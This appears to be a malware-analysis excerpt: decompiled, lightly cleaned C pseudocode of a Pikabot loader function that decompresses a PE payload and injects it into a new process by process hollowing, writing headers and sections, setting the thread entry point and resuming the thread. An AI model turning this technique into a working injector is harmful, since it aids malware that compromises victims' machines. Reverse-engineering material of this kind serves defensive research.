Pikabot cleaned function in charge of executing the last stage.

pikabot-s2-next-stage-execution.c

void execute_next_stage()
{
  _IMAGE_DOS_HEADER *decompressed_buffer; // edi
  IMAGE_NT_HEADERS *lfanew; // esi
  _IMAGE_NT_HEADERS *v2; // esi
  _BYTE *v3; // ebx
  char *v4; // ebx
  int v5; // ebx
  int Heap; // [esp+C8h] [ebp-C8h]
  int i; // [esp+100h] [ebp-90h]
  _BYTE *v8; // [esp+110h] [ebp-80h]
  int v9; // [esp+11Ch] [ebp-74h]
  char v10[4]; // [esp+120h] [ebp-70h] BYREF
  int v11; // [esp+124h] [ebp-6Ch]

  wrap_RtlCreateProcess();
  while ( 1 )
  {
    while ( 1 )
    {
      decompressed_buffer = (_IMAGE_DOS_HEADER *)core_allocateHeap(0x100000);
      core->RtlDecompressBuffer(258, (int)decompressed_buffer, 0x100000, core->ptr_heap, core->size, v10);
      direct_NtQueryInformationProcess();
      Heap = core_allocateHeap(584);
      direct_NtReadVirtualMemory();
      rtlFreeHeap(Heap);
      if ( decompressed_buffer->e_magic == 0x5A4D )
        break;
      direct_NtResumeThread(v9);
    }
    lfanew = (IMAGE_NT_HEADERS *)decompressed_buffer->e_lfanew;
    v11 = 0;
    v2 = (IMAGE_NT_HEADERS *)((char *)lfanew + (_DWORD)decompressed_buffer);
    direct_NtAllocateVirtualMemory();
    v3 = (_BYTE *)core_allocateHeap(v2->OptionalHeader.SizeOfHeaders);
    mem_move(v3, decompressed_buffer, v2->OptionalHeader.SizeOfHeaders);
    if ( !direct_NtWriteVirtualMemory() )
      break;
    rtlFreeHeap((int)v3);
label_ntResumeThread:
    direct_NtResumeThread(v9);
  }
  rtlFreeHeap((int)v3);
  v4 = (char *)&v2->OptionalHeader + v2->FileHeader.SizeOfOptionalHeader;
  for ( i = 0; v2->FileHeader.NumberOfSections > i; ++i )
  {
    v8 = (_BYTE *)core_allocateHeap(*((_DWORD *)v4 + 4));
    mem_move(v8, (_BYTE *)decompressed_buffer + *((_DWORD *)v4 + 5), *((_DWORD *)v4 + 4));
    if ( direct_NtWriteVirtualMemory() )
    {
      rtlFreeHeap((int)v8);
      goto label_ntResumeThread;
    }
    v4 += 40;
    rtlFreeHeap((int)v8);
  }
  v5 = core_allocateHeap(0x2CC);
  direct_NtGetContextThread();
  *(_DWORD *)(v5 + 176) = v11 + v2->OptionalHeader.AddressOfEntryPoint;
  direct_NtSetContextThread(v9);
  direct_NtWriteVirtualMemory();
  direct_NtResumeThread(v9);
  rtlFreeHeap(v5);
}